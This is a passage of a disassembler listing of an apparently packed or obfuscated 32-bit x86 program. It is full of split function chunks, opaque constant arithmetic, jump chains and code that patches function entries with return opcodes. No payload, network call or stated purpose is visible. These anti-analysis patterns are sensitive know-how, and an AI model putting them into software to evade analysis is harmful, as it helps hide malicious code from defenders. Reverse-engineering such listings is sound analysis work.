		add	esi, 0A311EDDCh
		xchg	esi, [esp+0]
		jmp	loc_44D6B2
; END OF FUNCTION CHUNK	FOR sub_441030

; =============== S U B	R O U T	I N E =======================================



sub_443BA0	proc near		; DATA XREF: sub_4489FA+10o

; FUNCTION CHUNK AT 0043E718 SIZE 00000005 BYTES

		call	sub_43AB31
		cmp	eax, [ebp-8]
		push	offset loc_442A56
		jmp	loc_43E718
sub_443BA0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_443BB2:				; CODE XREF: sub_43C3DD-7F1j
		call	sub_44E16C

loc_443BB7:				; CODE XREF: y22d6.y.:00444D11j
		jmp	loc_4385B6
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A620

loc_443BBC:				; CODE XREF: sub_44A620+9j
		mov	eax, ebx
		pop	ebx
		mov	ds:dword_44D0D8, edx

loc_443BC5:				; CODE XREF: y22d6.y.:0043829Ej
					; y22d6.y.:004417B7j
		xchg	eax, edx
		jmp	loc_449FB7
; END OF FUNCTION CHUNK	FOR sub_44A620
; ---------------------------------------------------------------------------
		cdq
		push	esi
		jmp	sub_44563C

; =============== S U B	R O U T	I N E =======================================



sub_443BD2	proc near		; CODE XREF: y22d6.y.:00447BF0j
					; sub_448EB6+2B6p

; FUNCTION CHUNK AT 00446F00 SIZE 0000001E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	7E9273ECh
		pop	eax
		and	eax, 1ED1B906h
		add	eax, 0A2616F24h
		push	ebx
		pushf
		jmp	loc_446F00
sub_443BD2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA4B

loc_443BEF:				; CODE XREF: sub_44DA4B-1131Fj
		adc	edx, ebx
		sbb	ebx, 6331450Ch
		shr	ebp, 1Ah
		jmp	loc_449C97
; END OF FUNCTION CHUNK	FOR sub_44DA4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_443BFF:				; CODE XREF: sub_448EB6-5E3Bj
		mov	edx, [esp-10h+arg_C]
		push	ebx
		push	eax
		pop	ebx
		jmp	loc_43C677
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_443C0A:				; CODE XREF: sub_439051:loc_43D8A5j
		add	eax, esi
		pop	esi

loc_443C0D:				; CODE XREF: sub_443A5C+8j
		rol	eax, 1Ch
		xor	eax, 0D42D5B70h
		push	esi
		push	1B073611h
		jmp	loc_4374E1
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_443C21:				; CODE XREF: sub_43CFF2:loc_43D001j
		ror	ebp, 3
		or	esi, 0AC9CB11Dh
		jmp	loc_445CA0
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447D7F

loc_443C2F:				; CODE XREF: sub_4452EE:loc_438DE1j
					; sub_43B7B5:loc_44744Fj ...
		jmp	loc_4405EB
; END OF FUNCTION CHUNK	FOR sub_447D7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_443C34:				; CODE XREF: sub_43B7B5+9B8Cj
					; sub_4452EE+2344j
		xchg	edx, [esp+0]
		mov	ecx, edx
		pop	edx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43B7B5

; =============== S U B	R O U T	I N E =======================================



sub_443C3C	proc near		; CODE XREF: sub_44C980-13E2Fp
					; sub_44AC0F:loc_43C4BBj ...

; FUNCTION CHUNK AT 004413A0 SIZE 00000005 BYTES

		push	edx
		jmp	loc_4413A0
sub_443C3C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_443C42:				; CODE XREF: sub_448EB6:loc_44241Dj
		jg	loc_44CDF0
		push	ebx
		jmp	sub_445C50
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E0A9

loc_443C4E:				; CODE XREF: sub_43E0A9:loc_444F50j
		push	offset loc_444AC7
		jmp	loc_43AE64
; END OF FUNCTION CHUNK	FOR sub_43E0A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_443C58:				; CODE XREF: sub_4409F4:loc_43B0C0j
		call	sub_43734D
		test	eax, eax
		jnz	loc_44DF2E
		jmp	loc_4421A0
; END OF FUNCTION CHUNK	FOR sub_4409F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_443C6B:				; CODE XREF: sub_43837F+2F8Dj
		jmp	loc_43D4F4
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_443C70:				; CODE XREF: sub_44E63C:loc_43FEB5j
		jz	loc_43F34E
		jmp	loc_449CDD
; END OF FUNCTION CHUNK	FOR sub_44E63C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B566

loc_443C7B:				; CODE XREF: sub_43B566:loc_448591j
		xor	edi, 0FCAC7F30h
		rol	edi, 0Ah
		add	edi, 217BF60Bh
		test	edi, 40000000h
		jmp	loc_439586
; END OF FUNCTION CHUNK	FOR sub_43B566

; =============== S U B	R O U T	I N E =======================================



sub_443C95	proc near		; CODE XREF: y22d6.y.:loc_4412A8p
					; y22d6.y.:0044C907j
		xchg	edi, [esp+0]
		pop	edi
		mov	ds:dword_41E070, eax
		lea	eax, nullsub_9
		jmp	loc_44A36A
sub_443C95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_443CAA:				; CODE XREF: y22d6.y.:004389F2j
		jbe	loc_44CF06
		mov	ebp, [edx]
		sub	edi, ebx
		jmp	loc_443487

; =============== S U B	R O U T	I N E =======================================



sub_443CB9	proc near		; CODE XREF: sub_43923C+3569p
					; y22d6.y.:0044D4A2j

; FUNCTION CHUNK AT 0043D755 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_43CA1A
		mov	ds:off_41E0A4, eax
		lea	eax, sub_43923C
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D755
sub_443CB9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_443CD6:				; CODE XREF: sub_43923Cj
		xchg	edi, [esp+0]
		jmp	loc_43A402
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_443CDE:				; CODE XREF: sub_44A359:loc_4478F4j
		xchg	esi, edi
		jz	sub_437712
		jmp	loc_4455A7
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
		jmp	ds:off_41E114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_443CF1:				; CODE XREF: sub_43E139:loc_43BEB6j
					; sub_43E139:loc_43F4E5j ...
		jb	loc_444E9A
		call	sub_44D063
; END OF FUNCTION CHUNK	FOR sub_43E139

; =============== S U B	R O U T	I N E =======================================



sub_443CFC	proc near		; CODE XREF: y22d6.y.:0044539Fj
					; sub_43E5C2+6EE1p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	esi, [esp-4+arg_0]
		jmp	sub_43CA1A
sub_443CFC	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_4417E7
		jmp	loc_43AD09
; ---------------------------------------------------------------------------

loc_443D16:				; CODE XREF: y22d6.y.:0043AE75j
		jle	loc_43DC3B
		pushf
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_443D1D:				; CODE XREF: sub_43C7C1+1AB9j
		mov	ebx, [edx]
		jmp	loc_4495C8
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D54C

loc_443D25:				; CODE XREF: sub_44D54C+11j
		jmp	sub_44D499
; END OF FUNCTION CHUNK	FOR sub_44D54C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_443D2A:				; CODE XREF: sub_43FAC6:loc_4375A5j
		mov	eax, [ebp-4]
		mov	al, [eax]
		jo	loc_44CF7B
		sub	al, 99h
		jmp	loc_44B87F
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_443D3C:				; DATA XREF: sub_43B566+2EF9o
		mov	edi, [edi]
		add	eax, edi
		pop	edi
		cmp	eax, [ebp-10h]
		jbe	loc_438C96
		jmp	loc_448CE7
; ---------------------------------------------------------------------------

loc_443D4F:				; CODE XREF: y22d6.y.:loc_44A65Dj
		shr	eax, 1
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_443D51:				; CODE XREF: sub_4475B3:loc_44A635j
		and	ecx, 6D36EDE7h
		add	ecx, 0F840E922h
		xchg	ecx, [esp+0]
		jmp	loc_44E1F2
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
		call	sub_443D70
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_443D6B:				; CODE XREF: sub_4432B8+1CAj
		jmp	loc_43808C
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443D70	proc near		; CODE XREF: y22d6.y.:00443D65p

; FUNCTION CHUNK AT 00438E8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445D3A SIZE 00000005 BYTES

		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+0]
		mov	ebp, esp
		jmp	loc_445D3A
sub_443D70	endp

; ---------------------------------------------------------------------------

loc_443D7D:				; DATA XREF: sub_44D6D0:loc_438C2Bo
		mov	[ebp-0Ch], eax
		xor	eax, eax
		push	ecx
		push	0B9CD6F57h
		jmp	loc_44AD5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_443D8D:				; CODE XREF: y22d6.y.:0043EF51j
					; sub_44B489:loc_44454Fj
		mov	esp, ebp
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		push	0AD66571Fh
		pop	eax
		jmp	loc_442AAB
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C22F

loc_443DA0:				; CODE XREF: sub_43C22F+AC88j
		xchg	edi, [esp-4+arg_0]
		jmp	loc_439C61
; END OF FUNCTION CHUNK	FOR sub_43C22F
; ---------------------------------------------------------------------------
		mov	eax, 0C7CC2482h
		push	ebx
		push	7E8A91AEh
		pop	ebx
		sub	ebx, 7E797B7Fh
		add	ebx, 32D3CAh
		jmp	loc_43E9F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_443DC5:				; CODE XREF: sub_440280+6j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44BA63
		jmp	loc_438AEA
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_443DD9:				; CODE XREF: sub_439E63:loc_44716Aj
		pop	esi
		and	esi, 9F0D459Fh

loc_443DE0:				; CODE XREF: sub_44156E:loc_44D213j
		jnz	loc_4448B9

loc_443DE6:				; CODE XREF: sub_449C1B-9636j
		jmp	loc_4426EA
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------
		sbb	edx, esi
		jmp	loc_4448B4
; ---------------------------------------------------------------------------

loc_443DF2:				; CODE XREF: y22d6.y.:0043C04Aj
		push	0ED168539h
		shl	ebp, 0Ch
; START	OF FUNCTION CHUNK FOR sub_441030

loc_443DFA:				; CODE XREF: sub_441030-4FFCj
		add	esi, 7114583Fh
		xor	esi, 2C655509h
		cmp	esi, 0C4E8FCFFh
		jmp	loc_43918C
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
		push	26E35537h
		pop	eax
		xor	eax, 0F4A8FDEh
		test	eax, 8
		jmp	loc_43EEE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_443E28:				; CODE XREF: sub_4432B8+308j
		rol	eax, 15h
		push	eax
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_443E32:				; CODE XREF: sub_43F501-1C51j
		jmp	loc_43E24A
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43979A

loc_443E37:				; CODE XREF: sub_43979A+Dj
		jmp	sub_442060
; END OF FUNCTION CHUNK	FOR sub_43979A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_443E3C:				; CODE XREF: sub_44BCC2:loc_445851j
					; sub_44BCC2:loc_44B91Aj
		mov	eax, [ebp-108h]
		push	0C8E369F8h
		xchg	ebx, [esp+8+var_8]
		jmp	loc_43AC74
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
		xchg	ecx, edx
		jmp	sub_4407AE
; ---------------------------------------------------------------------------

loc_443E56:				; CODE XREF: y22d6.y.:0044AFE2j
		js	loc_448687
		mov	ebp, 9F8D4EA0h
		xchg	eax, [esi]

loc_443E63:				; CODE XREF: y22d6.y.:00441B9Fj
		rol	edx, 2
		add	edx, 0A07BEE6Ah

loc_443E6C:				; CODE XREF: y22d6.y.:00447DBBj
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_340
		jmp	loc_43BCF2
; ---------------------------------------------------------------------------

loc_443E7A:				; CODE XREF: y22d6.y.:00448B9Bj
		rol	eax, 3

loc_443E7D:				; CODE XREF: y22d6.y.:004458F2j
		xor	edx, 1000B7AAh
		and	edx, 0D2E2DA27h
		or	edx, 365BAE82h
		jmp	loc_43F6C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC1A

loc_443E94:				; CODE XREF: sub_43CC1A:loc_43FADAj
		cmp	dword ptr [eax], 0
		jnz	loc_43E28D
		jmp	loc_44AF9C
; END OF FUNCTION CHUNK	FOR sub_43CC1A

; =============== S U B	R O U T	I N E =======================================



sub_443EA2	proc near		; CODE XREF: sub_44E14E:loc_447DA7j
					; sub_43CC1A+B486p ...

; FUNCTION CHUNK AT 0043781E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00437970 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00437BC8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043C2AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CFDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D9F0 SIZE 00000008 BYTES

		jnz	sub_437833
		push	ebp
		jmp	loc_43C2AA
sub_443EA2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_443EAE:				; CODE XREF: sub_43B98D:loc_43E60Ej
		or	dword ptr [eax-8], 4

loc_443EB2:				; CODE XREF: y22d6.y.:0043F38Cj
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		push	offset loc_44BB5A
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------

loc_443EC2:				; CODE XREF: y22d6.y.:0043C000j
		and	ebx, ecx

loc_443EC4:				; CODE XREF: y22d6.y.:loc_43D416j
		mov	eax, [ebp-18h]
		mov	eax, [eax]
		shl	eax, 3
		jmp	loc_43A2D2
; ---------------------------------------------------------------------------

loc_443ED1:				; CODE XREF: y22d6.y.:loc_44A9A3j
		jz	loc_4401AD
		jmp	loc_444211
; ---------------------------------------------------------------------------

locret_443EDC:				; CODE XREF: y22d6.y.:004486E4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_443EDD:				; CODE XREF: sub_43F35E:loc_44DE6Ej
		jmp	loc_44464C
; END OF FUNCTION CHUNK	FOR sub_43F35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_443EE2:				; CODE XREF: sub_44807C+21A9j
		jmp	loc_439A12
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444865

loc_443EE7:				; CODE XREF: sub_444865+7j
		jmp	loc_44B5EA
; END OF FUNCTION CHUNK	FOR sub_444865
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_443EEC:				; CODE XREF: sub_449641-114E5j
		jmp	loc_43E343
; END OF FUNCTION CHUNK	FOR sub_449641

; =============== S U B	R O U T	I N E =======================================



sub_443EF1	proc near		; DATA XREF: sub_445DB1+15o

; FUNCTION CHUNK AT 004393D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BB94 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004401D6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044040F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044717A SIZE 00000017 BYTES

		call	sub_44B003
		cmp	ds:dword_442A78, 0
		jnz	loc_4401D6
		lea	edx, [ebp-14h]

loc_443F06:				; CODE XREF: y22d6.y.:loc_4441CDj
		mov	eax, offset dword_442A88
		jmp	loc_44040F
sub_443EF1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_443F10:				; CODE XREF: sub_43B09B:loc_438068j
					; sub_4383E0:loc_4383F8j
		call	sub_43CA1A
		mov	ds:off_41E05C, eax
		lea	eax, sub_43B09B
		mov	byte ptr [eax],	0C3h
		jmp	sub_43B09B
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_443F29:				; CODE XREF: sub_43B09Bj
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_43E913
		jmp	loc_440BB5
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B878

loc_443F38:				; CODE XREF: sub_43B878:loc_43A678j
		xor	eax, 402E14D5h
		add	eax, ebp
		add	eax, 6991762Dh
		mov	eax, [eax]
		jmp	loc_44164C
; END OF FUNCTION CHUNK	FOR sub_43B878
; ---------------------------------------------------------------------------
		mov	ds:dword_41E130, eax
		lea	eax, nullsub_8
		mov	byte ptr [eax],	0C3h
		jmp	loc_442AFA
; ---------------------------------------------------------------------------
		call	nullsub_351
		jmp	loc_43BECD
; ---------------------------------------------------------------------------

loc_443F6B:				; CODE XREF: y22d6.y.:loc_44E352j
		jz	loc_439B48
		jmp	loc_44DD53
; ---------------------------------------------------------------------------

loc_443F76:				; DATA XREF: sub_43CA62o
		pop	edx
		jns	loc_44141F
		mov	eax, [esp]
		push	edx
		call	sub_442C0C
		push	4FD3DDDBh
		jmp	loc_43F8AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_443F90:				; CODE XREF: sub_43B98D:loc_43B99Bj
		mov	eax, [ebp+8]
		call	sub_44E3D0

loc_443F98:				; CODE XREF: y22d6.y.:0044D4B2j
		jmp	loc_43D2EE
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
		and	edi, ebp
		jmp	sub_43BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_443FA4:				; CODE XREF: sub_4432B8:loc_43B650j
					; sub_43ED4E:loc_43DE90j
		push	esi
		jmp	loc_444734
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_443FAB:				; CODE XREF: sub_43E185+B01Dj
		jmp	loc_43B296
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------

loc_443FB0:				; CODE XREF: y22d6.y.:loc_44516Cj
		jz	loc_445B52
; START	OF FUNCTION CHUNK FOR sub_439FCB

loc_443FB6:				; CODE XREF: sub_439FCB+2FEDj
		jmp	nullsub_371
; END OF FUNCTION CHUNK	FOR sub_439FCB
; ---------------------------------------------------------------------------
		xor	ecx, 39C7711Dh
		adc	eax, ebp
		jmp	loc_445B4B
; ---------------------------------------------------------------------------

loc_443FC8:				; CODE XREF: y22d6.y.:004396DFj
		jbe	loc_445DD7
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_443FCE:				; CODE XREF: sub_44BCC2-125F9j
		rol	edx, 0Ah
		or	edx, 0C37E4AB4h
		rol	edx, 11h
		cmp	edx, 7F487907h
		jmp	loc_44291B
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_443FE5:				; CODE XREF: y22d6.y.:004463A4j
		jp	loc_43D202
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_443FEB:				; CODE XREF: sub_43C3DD:loc_4385B6j
		rol	eax, 9
		sub	eax, 0CB67CC8Fh
		add	eax, 9EAE8586h
		xchg	eax, [esp+0]
		jmp	loc_43A717
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_444002:				; CODE XREF: sub_43B09B+EFF5j
		jz	loc_43E8D4
		adc	ebp, esi
		jl	loc_43CC58
		jmp	loc_43E8D4
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_444015:				; CODE XREF: y22d6.y.:loc_4486D0j
		mov	ebp, 630E2325h
		jmp	sub_44731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44401F:				; CODE XREF: sub_43B09B+31CDj
		cmp	ebx, eax
		jmp	loc_440F52
; END OF FUNCTION CHUNK	FOR sub_43B09B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_444027:				; CODE XREF: y22d6.y.:0044B2D8j
		jmp	loc_43A247
; ---------------------------------------------------------------------------

loc_44402C:				; CODE XREF: y22d6.y.:00441C5Ej
		jmp	loc_444C3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_444031:				; CODE XREF: sub_4416CB-6D4Bj
		jmp	loc_43954D
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_444036:				; CODE XREF: sub_44057E-40CEj
		push	6049A652h
		pop	esi
		sub	esi, 9938A0EAh
		and	esi, 0EE8B4DA5h
		xor	esi, 55C06392h
		add	ebp, esi
		add	ebp, 6C3E9926h
		jmp	loc_44DAE2
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_44405B:				; CODE XREF: y22d6.y.:0044A827j
		jo	loc_44C602
		xor	ecx, edi

loc_444063:				; CODE XREF: y22d6.y.:loc_43D6CBj
		push	eax
		push	82D14DA0h
		pop	eax
		xor	eax, 3AFC3D82h
		add	eax, 402E0A06h
		jmp	loc_44C97B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44407C:				; CODE XREF: sub_43BDB0+Dj
		jmp	sub_4422AA
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

loc_444081:				; CODE XREF: y22d6.y.:00437B80j
		xor	eax, 0F025FA9Bh
		jmp	loc_438E66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_44408C:				; CODE XREF: sub_43704Ej
		mov	eax, ds:dword_443028
		or	eax, eax
		jnz	loc_44638B
		jmp	loc_43B4B0
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
		not	ebx
		cdq
		jmp	sub_439945
; ---------------------------------------------------------------------------

loc_4440A7:				; DATA XREF: sub_437833+B1C3o
		or	eax, eax
		jnz	loc_43D9F0
		call	sub_43760A
		mov	edx, 0B9726E5Ah
		call	sub_44D293
		push	offset sub_43D9E5
		jmp	locret_44C8A2
; ---------------------------------------------------------------------------
		mov	[edi], ebp
		xor	eax, esi
		jmp	sub_4400EF
; ---------------------------------------------------------------------------

loc_4440D1:				; CODE XREF: y22d6.y.:loc_447CEBj
		mov	ebx, [eax]
		jmp	loc_440BD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_4440D8:				; CODE XREF: sub_44AEDA-1177Aj
		mov	eax, [ebp-14h]
		call	sub_43AD94
		mov	edx, [ebp-18h]
		jmp	loc_44871F
; ---------------------------------------------------------------------------

loc_4440E8:				; CODE XREF: sub_44AEDA:loc_43E9AFj
		mov	eax, [ebp-24h]
		test	byte ptr [eax+1], 80h
		jnz	loc_44AB6F
		jmp	loc_439D12
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
		and	edx, edi
		jmp	loc_447E66
; ---------------------------------------------------------------------------

loc_444101:				; CODE XREF: y22d6.y.:loc_441647j
		mov	edi, [eax]
		jmp	loc_442F45
; ---------------------------------------------------------------------------

loc_444108:				; CODE XREF: y22d6.y.:loc_4463A9j
					; DATA XREF: sub_43704E+F346o
		ror	eax, 6
		xor	eax, 1E976CBDh
		ror	eax, 2
		jno	loc_43D554
		push	esi
		push	0AFF193Bh
		pop	esi
		rol	esi, 14h
		jmp	loc_43E2A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_444129:				; CODE XREF: sub_43A58D+51BEj
		xchg	ebx, [esp+0]
		jmp	loc_43BAB1
; END OF FUNCTION CHUNK	FOR sub_43A58D

; =============== S U B	R O U T	I N E =======================================



sub_444131	proc near		; CODE XREF: y22d6.y.:004386B9j
					; sub_448A6F+16p

; FUNCTION CHUNK AT 0043F23B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043F3D9 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 004443EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447212 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	edi, ebp
		push	esi
		push	9AD0610Fh
		pop	esi
		sub	esi, 28FFE2FCh
		jmp	loc_43F3D9
sub_444131	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444149:				; CODE XREF: y22d6.y.:00445FC2j
		xchg	ebp, [eax]
		or	edx, 1711DD83h
		sub	edx, 4C6A1066h
		jmp	loc_44A0CA

; =============== S U B	R O U T	I N E =======================================



sub_44415C	proc near		; CODE XREF: y22d6.y.:004478E9j
					; sub_44ABB0-62Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044A345 SIZE 00000014 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	esi, [esp-4+arg_0]
		call	sub_4463CE
		mov	eax, 9DD7AB44h
		call	sub_43CA1A
		jmp	loc_44A345
sub_44415C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444177:				; CODE XREF: y22d6.y.:00446E1Cj
		xor	eax, eax

loc_444179:				; CODE XREF: y22d6.y.:0044C0B7j
		mov	ds:dword_441950, eax
		jmp	loc_44528B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444183	proc near		; CODE XREF: sub_44A9DFj

; FUNCTION CHUNK AT 004430D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044528B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004483A9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C6B3 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx

loc_444187:				; CODE XREF: sub_44AEDA:loc_447388j
		cmp	ds:dword_441950, 0
		jmp	loc_4430D9
sub_444183	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_444193:				; CODE XREF: sub_440494:loc_442ED9j
		jz	loc_448917
		jmp	loc_43D996
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_44419E:				; CODE XREF: sub_43F501+E0D1j
		pop	eax

loc_44419F:				; CODE XREF: sub_43F501:loc_448E5Fj
		call	sub_43760A
		push	0AAEA3562h
		pop	edx
		rol	edx, 14h
		add	edx, 9C8DEB76h
		jmp	loc_445F03
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_4441B8:				; CODE XREF: sub_44B81B:loc_43CF2Ej
		mov	eax, [esp-4+arg_0]
		push	edx
		push	esi
		push	1339AEF2h
		or	esi, 0BE249629h
		jmp	loc_446F9F
